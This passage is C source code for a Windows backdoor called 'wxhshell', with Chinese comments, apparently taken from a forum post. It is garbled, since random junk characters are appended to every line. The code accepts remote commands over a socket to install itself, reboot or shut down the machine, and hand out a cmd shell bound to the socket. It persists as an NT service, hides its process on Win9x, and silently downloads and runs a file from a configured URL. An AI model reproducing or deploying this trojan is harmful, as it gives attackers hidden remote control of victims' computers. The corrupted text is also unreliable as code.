      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LaL{ ^wP  
    break; bn=7$Ax  
  } f:AfMf>m  
  // 安装 X|4Kdi.r@  
  case 'i': { tiR i_  
    if(Install()) J/rF4=j%xy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <"S`ZOn  
    else j9}.U \  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BFqM6_/J  
    break; H2+V1J=  
    } -k%|sqDZj  
  // 卸载 _^$F^}{&  
  case 'r': { ~| oB|>  
    if(Uninstall()) zs'Jgm.v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H1 i+j;RN  
    else Y~I0\8s-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cet|k!   
    break; d_ &~^*>  
    } <d[GGkY]=  
  // 显示 wxhshell 所在路径 M=1~BZQ(Z  
  case 'p': { E};1 H  
    char svExeFile[MAX_PATH]; 4KW_#d`t  
    strcpy(svExeFile,"\n\r"); >keY x<1  
      strcat(svExeFile,ExeFile); M?DXCsZ,)s  
        send(wsh,svExeFile,strlen(svExeFile),0); Wi*HLP!lNC  
    break; !nQoz^_`P  
    } bkm: #K  
  // 重启 51;Bc[)%  
  case 'b': { eMP0BS"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bi0&F1ZC!  
    if(Boot(REBOOT)) v5FfxDvw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mAe)Hy %  
    else { 1R]h>'  
    closesocket(wsh); q1A0-W#4  
    ExitThread(0); bOr6"nn  
    } hy3?.  
    break; I@1VX5  
    } :Yi 4Ia  
  // 关机 "msPH<D  
  case 'd': { ir_X65l/2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N`vPt?@  
    if(Boot(SHUTDOWN)) mE9ytFH\k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !3"Hn  
    else { dAaxbP|  
    closesocket(wsh); uK[gI6M  
    ExitThread(0); JaN53,&<  
    } 7+$P6[*  
    break; n]K{-C;  
    } +1eb@b X  
  // 获取shell wFJ*2W:  
  case 's': { y )7;"3Q<  
    CmdShell(wsh); iH-(_$f;  
    closesocket(wsh); BbgKaCq  
    ExitThread(0); .]; `  
    break; R1/mzPG  
  } 2p*L~! iM  
  // 退出 B^j(Fq  
  case 'x': { WmblY2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C-(O*hK  
    CloseIt(wsh); xz}=C:s  
    break; kP&Ekjt@  
    } LO k J  
  // 离开 1R#1Fy%  
  case 'q': { wy""02j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 't475?bY  
    closesocket(wsh); :|=Xh"l"  
    WSACleanup(); CSr2\ogT  
    exit(1); 1+ V<-I@{  
    break; k[1w] l8  
        } {dvsZJj  
  } .Txwp?};  
  } X- SR0x  
,(kaC.Em  
  // 提示信息 #aadnbf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bFfDaO<k  
} Rts}y:44  
  } D ~NWP%H  
ASr3P5/  
  return; x' 3kHw  
} %;O# y3,  
M:%Ll3  
// shell模块句柄 XE;aJ'kt  
int CmdShell(SOCKET sock) #/WjKr n  
{ /$UWTq/C7  
STARTUPINFO si; l^v,X%{Iz  
ZeroMemory(&si,sizeof(si)); lH>6;sE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9YwS"~Q =w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =jvN8R*[  
PROCESS_INFORMATION ProcessInfo; ^ ;cJjl'=  
char cmdline[]="cmd"; Kxsj_^&|i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K$-|7tJon  
  return 0; 22D,,nC0+=  
} .U,>Qn4/  
eie u|_  
// 自身启动模式 3\5I4#S  
int StartFromService(void) }ct*<zj[~u  
{ -raZ6?Zjc  
typedef struct 5:l"*  
{ dg;E,'e_ p  
  DWORD ExitStatus; P~@I`r567  
  DWORD PebBaseAddress; X+//$J  
  DWORD AffinityMask; ^ANz=`N5,  
  DWORD BasePriority; mz^[C7(q'(  
  ULONG UniqueProcessId; Q0TKM >  
  ULONG InheritedFromUniqueProcessId; vpu   
}   PROCESS_BASIC_INFORMATION; NqN9  
 83:qIfF  
PROCNTQSIP NtQueryInformationProcess; KI5099_/  
OLDEB.@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UG,n q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {ALOs^_-  
-V}ZbXJD  
  HANDLE             hProcess; &fifOF#[ e  
  PROCESS_BASIC_INFORMATION pbi; [&{NgUgu"  
Wu693<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P)hawH=  
  if(NULL == hInst ) return 0; x_x|D|@wM  
9q"G g?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h>"Z=y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); * 9}~?#b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ky'\t7p u  
1)!]zV  
  if (!NtQueryInformationProcess) return 0; GoG_4:^#h  
L9 H.DNA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _2Fa .gi  
  if(!hProcess) return 0; f2{qj5 K  
#pX+~ {  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bqb3[^;~  
M,N(be-  
  CloseHandle(hProcess); qAuq2pHA+d  
v5`Odbc=w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T q5F'@e  
if(hProcess==NULL) return 0; Q9 RCN<!  
c]:@y"W5$  
HMODULE hMod; IV$2`)[A&X  
char procName[255]; axd9b,  
unsigned long cbNeeded; CV6W)B%Se  
>Y&o2zJy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7>|p_ o`e  
bl;v^HR0)  
  CloseHandle(hProcess); ZQrgYeQl"  
O}"fhMk  
if(strstr(procName,"services")) return 1; // 以服务启动 4(\7Or(''  
|-VbJd  
  return 0; // 注册表启动 *wJ'Z4_5F  
} ij1g2^],4  
7.xJ:r|  
// 主模块 R)qK{wq(1E  
int StartWxhshell(LPSTR lpCmdLine) DZ0\pp?S  
{ Jf8AKj3  
  SOCKET wsl;  tD}HL_  
BOOL val=TRUE; 8_ _C T  
  int port=0; 4$b9<:M_  
  struct sockaddr_in door; .@]M'S^1  
^b(> Bg )T  
  if(wscfg.ws_autoins) Install(); }@w Xm  
IctLhYZ  
port=atoi(lpCmdLine); ]lzOz<0q  
Z(fhH..T`  
if(port<=0) port=wscfg.ws_port; 8^dsx1U#  
CI,xp  
  WSADATA data; Q*AgFF%wn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T 9?!.o  
VEg/x z4c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @5(HRd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `pd1'5Hm  
  door.sin_family = AF_INET; 60Obek`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YiPp#0T[Gx  
  door.sin_port = htons(port); J*O$)K%Hx  
1Du9N[2'P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b1qli5  
closesocket(wsl); sOW,hpNW  
return 1; >@U lhJtW  
} 4WV)&50  
$Uxg$pqO  
  if(listen(wsl,2) == INVALID_SOCKET) { MHKB:t]hA  
closesocket(wsl); {p@uj_pS  
return 1; j\8'P9~%  
} EM.rO/qcW  
  Wxhshell(wsl); uDi#a~m@  
  WSACleanup(); %uLyL4*L(p  
prg8Iq'w  
return 0; A)q,VSR8  
4lfJc9J  
} "t" &6\  
>zAI#N4  
// 以NT服务方式启动 k|T0Bly3P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kXbdR  
{ abM4G  
DWORD   status = 0; Y_<(~eN`  
  DWORD   specificError = 0xfffffff; )z?Kq0  
T3 k#6N.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @3b|jJyf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >qI|g={M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I3V>VLv  
  serviceStatus.dwWin32ExitCode     = 0; %S<( z5  
  serviceStatus.dwServiceSpecificExitCode = 0; DY%#E9   
  serviceStatus.dwCheckPoint       = 0; c F (]`49(  
  serviceStatus.dwWaitHint       = 0; }ZWeb#\  
o(@F37r{?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l?%U*~*  
  if (hServiceStatusHandle==0) return; !Rw\k'<GKX  
(&u)F B*  
status = GetLastError(); +C !A@  
  if (status!=NO_ERROR) r3b~|O^}  
{ &c!=< <5M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @*c ) s_  
    serviceStatus.dwCheckPoint       = 0; L"6@3  
    serviceStatus.dwWaitHint       = 0; 6Pa jBEF  
    serviceStatus.dwWin32ExitCode     = status; QP e}rQnm  
    serviceStatus.dwServiceSpecificExitCode = specificError; \;A\ vQ[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D0&{iZ(  
    return; J ;wA  
  } (8(z42  
E qva] 4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a JDu_  
  serviceStatus.dwCheckPoint       = 0; RFu]vFff  
  serviceStatus.dwWaitHint       = 0; c!%:f^7g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BDg6Z I<n  
} o*u A+7n  
,uP1U@Cas  
// 处理NT服务事件,比如:启动、停止 AcF;5h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1dK^[;v>3  
{ `&U ['_%  
switch(fdwControl) gU}?Yy  
{ 7M1*SC  
case SERVICE_CONTROL_STOP: U)p P^:|  
  serviceStatus.dwWin32ExitCode = 0; ?Y~>H 2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "zO+!h'o  
  serviceStatus.dwCheckPoint   = 0; i4"xvL K4  
  serviceStatus.dwWaitHint     = 0; FB PT@`~v  
  { a|\_'#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]eq3cwR[|  
  } \0pJ+@\T9  
  return; WiL~b =fT  
case SERVICE_CONTROL_PAUSE: P + nT%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O,[aL;v  
  break; X 3Vpxtb  
case SERVICE_CONTROL_CONTINUE: n.y72-&v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AsM""x1Ix  
  break; hGF(E*  
case SERVICE_CONTROL_INTERROGATE: sh?Dxodp9  
  break; N3H!ptn37  
}; >}/"g x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +* )Qi)  
} Q_#X*I  
3Pp*ID  
// 标准应用程序主函数 1W HR;!u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ? F f w'O  
{ $/45*  
!{SU G+.2  
// 获取操作系统版本 0r=Lilu{q  
OsIsNt=GetOsVer(); s/Wg^(&M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r/L3j0  
DRV vW6s  
  // 从命令行安装 v4|kiy  
  if(strpbrk(lpCmdLine,"iI")) Install(); N1(}3O  
SJ7>*Sa(u$  
  // 下载执行文件 j &Ayk*  
if(wscfg.ws_downexe) { i4!n Oyk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^B?koU l^  
  WinExec(wscfg.ws_filenam,SW_HIDE); j>R7OGg'  
} a@,tf'Sr  
S-yd-MtQp  
if(!OsIsNt) { xMhR;lKY  
// 如果时win9x,隐藏进程并且设置为注册表启动 YKl!M/  
HideProc(); ,^o^@SI)   
StartWxhshell(lpCmdLine); ^m8\fCA*  
} ;wprHXjq  
else fC%;|V'Nd  
  if(StartFromService()) qBX<{[  
  // 以服务方式启动 EGGy0ly  
  StartServiceCtrlDispatcher(DispatchTable); L*h X_8J  
else 1xq1te)  
  // 普通方式启动 Yjk A^e  
  StartWxhshell(lpCmdLine); }.zgVL L  
~rY<y%K  
return 0; wQnr*kyza  
}
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只看该作者 1 发表于: 2006-10-10
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